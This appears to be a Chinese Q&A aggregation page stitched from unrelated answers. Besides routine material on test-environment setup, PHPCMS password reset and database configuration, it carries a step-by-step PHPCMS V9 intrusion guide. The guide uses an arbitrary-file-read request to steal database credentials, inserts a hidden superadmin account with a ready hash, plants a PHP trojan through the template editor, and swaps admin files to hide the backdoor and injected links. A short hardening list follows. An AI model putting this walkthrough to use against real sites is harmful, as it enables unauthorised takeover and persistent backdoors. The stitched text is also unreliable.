本文目录一览：
如如何搭建测试环境
测试环境搭建步骤：
1.数据库服务器端测试环境安装步骤：
（1） 选择服务器
（2） 安装操作系统
（3） 安装数据库
（4） 安装杀毒软件
（5） 杀毒
（6） 制作Image文件
（7） 安装软件数据库文件
（8） 进行相关数据库配置
（9） 杀毒
（10） 制作Image文件
2. 应用服务器端测试环境安装步骤：
（1） 选择服务器
（2） 安装操作系统
（3） 安装数据库
（4） 安装杀毒软件
（5） 杀毒
（6） 制作Image文件
（7） 安装软件数据库文件
（8） 进行相关数据库配置
（9） 杀毒
（10）制作Image文件
3. 客户端测试环境安装步骤：
（1） 选择PC机
（2） 安装操作系统
（3） 安装杀毒软件
（4） 安装软件要求的浏览器版本
（5） 测试与应用服务器的链接
（6） 杀毒
（7） 制作Image文件。
服务器装什么软件 phpcms注入漏洞
本文利用了PHPCMS V9的两个漏洞，一个是读取任意文件漏洞，另一个是模版运行php脚本漏洞。使用到的工具：Navicat for Mysql/IE浏览器(建议使用代理)/湛蓝v9代码包（包含文中使用到的所有文件、代码和木马）
1、放置data.txt以备在目标站点读取并在目标站点生成PHP木马脚本使用。
例如将data.txt放置在yun.baidu.com/j0192/data.txt
2、通过v9漏洞获取配置信息（请参阅：phpcms V9最新读取站点任意文件漏洞）。
/index.php?m=searchc=indexa=public_get_suggest_keywordurl=asdfq=../../phpsso_server/caches/configs/database.php
3、通过v9系统漏洞获取到的数据库信息远程登陆目标站点数据库，在v9_admin和v9_sso_admin表中添加账号
username字段：admn
password字段：10203d4623c1957d041818196ff9822a
encrypt 字段：bGV22e
issuper 字段: 1
4、通过数据库添加管理员账号后使用以下用户名密码在后台登陆，然后修改当前用户密码。
用户名：admn
密码：123456
5、ctrl+a复制write.php全部内容粘贴进v9默认模版下的footer.html保存，然后点击footer.html的可视化运行该模版中的脚本，到此时就完成在目标站点生成木马脚本。
6、打开ifeng.com/caches/caches_template/default/wap/data.class.php
用户名：admin
密码：admin
7、隐藏新增加的管理员。
通过木马脚本上传替换/phpcms/modules/admin/admin_manage.php(默认匹配%admn%)，然后登陆目标站点后台查看管理员列表是否还有用户名为admn的超级管理员，如果没有则表明我们完成了新加管理员的隐藏。
8、隐藏新增加的关联链接
通过木马脚本上传替换/phpcms/modules/admin/keylink.php((默认匹配%skyhome%))
9、将目标网站的漏洞修复，以防其他黑客入侵。
通过木马脚本上传替换/phpcms/modules/search/index.php
防黑参考:
1、关闭数据库远程访问。
2、静态文件及附件等文件目录禁止执行权限。
3、脚本文件目录禁止写权限。
4、系统后台等重要目录限制IP访问。
5、及时关注开源系统官方补丁升级和乌云、sebug等漏洞发布平台，修复系统漏洞。
怎么破解phpcms管理员密码
今天想测试下phpcms，突然发现以前安装的系统忘记了管理员密码了，一般情况官方提供了密码找回文件，确实也很方便，不过这里提供下直接修过数据库的方法。
终极解决办法：通过命令行工具或者phpmyadmin进入mysql数据库，查找pre_admin表，找到你的网站管理员用户，修改password字段以及encrypt字段，分别修改为：
62d2ff1e3d42334e6216d628a5051c08 7YIwnY
然后密码就被重置为：phpcms 。直接改md5加密值是不行的，因为他混合了加密后缀。
phpcms怎样配置数据库工具
告诉你个简单的方法，就是在服务器上搭建好数据库以后，把本地的数据库（也就是data文件下的）全部传到服务器data下。然后修改phpcms的config文件，也就是数据库名密码啥的。就可以了。